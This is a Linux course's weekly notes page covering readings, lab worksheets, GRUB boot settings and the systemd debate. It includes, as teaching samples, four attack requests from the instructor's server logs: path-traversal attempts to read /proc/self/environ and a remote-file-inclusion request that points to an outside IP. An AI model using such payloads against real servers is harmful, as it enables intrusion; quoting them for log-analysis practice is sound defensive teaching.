% Week 12 Notes for CST8207 - Fall 2012 % Ian! D. Allen - idallen@idallen.ca - www.idallen.com % Fall 2012 - September to December 2012 - Updated Tue Dec 4 21:49:27 EST 2012 Readings, Assignments, Labs, and ToDo ===================================== - Fill in your Course Evaluation for this course. Only nine questions! Closes December 9. You can find it under Blackboard “Services”. - Read (at least) these things (All The Words): - [Week 12 Notes HTML] - This File - ** Read All The Words ** - [Unix/Linux Boot Process, GRUB, and run levels] - [List of Commands] - Read (All The Words), Do, and Save (but not for hand-in): - [Lab Worksheet #13 ODT] - [Lab Worksheet #13 PDF] - Read (All The Words), Do, and then Submit via Blackboard: - [Assignment #12] is part of [Lab Worksheet #12 ODT] - [Assignment #12] is part of [Lab Worksheet #12 PDF] - fonts updated not to use missing font Courier 10 Pitch - Write down the dates of your Final Exams from the [Course Home Page]. - [PDF course slides from a previous term] - **READ ALL THE WORDS** Final Exam Schedule is Posted ============================= Your Final Exam schedule is posted in the ICT office and on the [Course Home Page]. Lecture Notes for This Week =========================== - Review last week. Did you do everything assigned last week? From the Class Notes link on the Course Home Page ------------------------------------------------- - [Week 12 Notes HTML] - This File - ** Read All The Words ** - [Unix/Linux Boot Process, GRUB, and run levels] - [List of Commands] From the Classroom Whiteboard/Chalkboard ---------------------------------------- - [Hom Much is Bill Gates Worth] - [FoxTrot Kernel Panic] - shell scripts - save your common command pipelines for re-use - fonts updated not to use missing font **`Courier 10 Pitch`** in Worksheets - minimum permissions from [Lab Worksheet #09 PDF] ### Your in-class notes go here - take notes in class! Real Sysadmin Work ================== Advice for working with rebooting and GRUB ------------------------------------------ - set the VMware **`bios.bootDelay`** via the [FAQ] - comment out **`hiddenmenu`** in your Fedora 12 **`grub.conf`** file - increase the **`timeout`** in your Fedora 12 **`grub.conf`** file - remove **`rhgb quiet`** from all kernel lines in your Fedora 12 **`grub.conf`** file Miscellany ---------- - More attacks on my web server this week: - **`GET /index.php?mod=../../../../../../../../proc/self/environ%00 HTTP/1.1`** - **`GET /index.php?page=../../../../../../../../proc/self/environ%00 HTTP/1.1`** - **`GET /main.php?x=../../../../../../../proc/self/environ%00 HTTP/1.1`** - **`GET /index.php?page=http%3A%2F%2F178.63.8.214%2Fecho.txt HTTP/1.1`** - Create a pipeline to summarize attacks in log files under /var/log/ on CLS - You can [Submit bug reports] - Red Hat replaces System V init system (Run Levels) with Upstart - **`systemd`** - a replacement for Upstart (that itself replaced Run Levels) - controversy causes a fork of UDEV: - *Gentoo developers could also potentially be joined by Debian developers in what could turn out to be a groundswell of protest against the Red Hat led developments in systemd.* - Linus Torvald rants: - Fedora explains systemd: - systemd cheat sheet: - From Kyle Nuttall: *The wolves are going to get you, and the bus is coming!* ![You Die] -- | Ian! D. Allen - idallen@idallen.ca - Ottawa, Ontario, Canada | Home Page: http://idallen.com/ Contact Improv: http://contactimprov.ca/ | College professor (Free/Libre GNU+Linux) at: http://teaching.idallen.com/ | Defend digital freedom: http://eff.org/ and have fun: http://fools.ca/ [Plain Text] - plain text version of this page in [Pandoc Markdown] format [Unix/Linux Boot Process, GRUB, and run levels]: 750_booting_and_grub.html [List of Commands]: 900_unix_command_list.txt [Lab Worksheet #13 ODT]: worksheet13.odt [Lab Worksheet #13 PDF]: worksheet13.pdf [Lab Worksheet #12 ODT]: worksheet12.odt [Lab Worksheet #12 PDF]: worksheet12.pdf [PDF course slides from a previous term]: ../../11f/notes/indexcgi.cgi [Hom Much is Bill Gates Worth]: http://www.templetons.com/brad/billg.html [FoxTrot Kernel Panic]: http://www.gocomics.com/foxtrot/2006/11/09 [Lab Worksheet #09 PDF]: worksheet09.pdf [FAQ]: 007_freqently_asked_questions.html#increasing-vmware-bios-screen-pause [Submit bug reports]: https://bugs.launchpad.net/bugs/806749 [You Die]: data/YouDie.png "You Die" [Plain Text]: week12notes.txt [Pandoc Markdown]: http://johnmacfarlane.net/pandoc/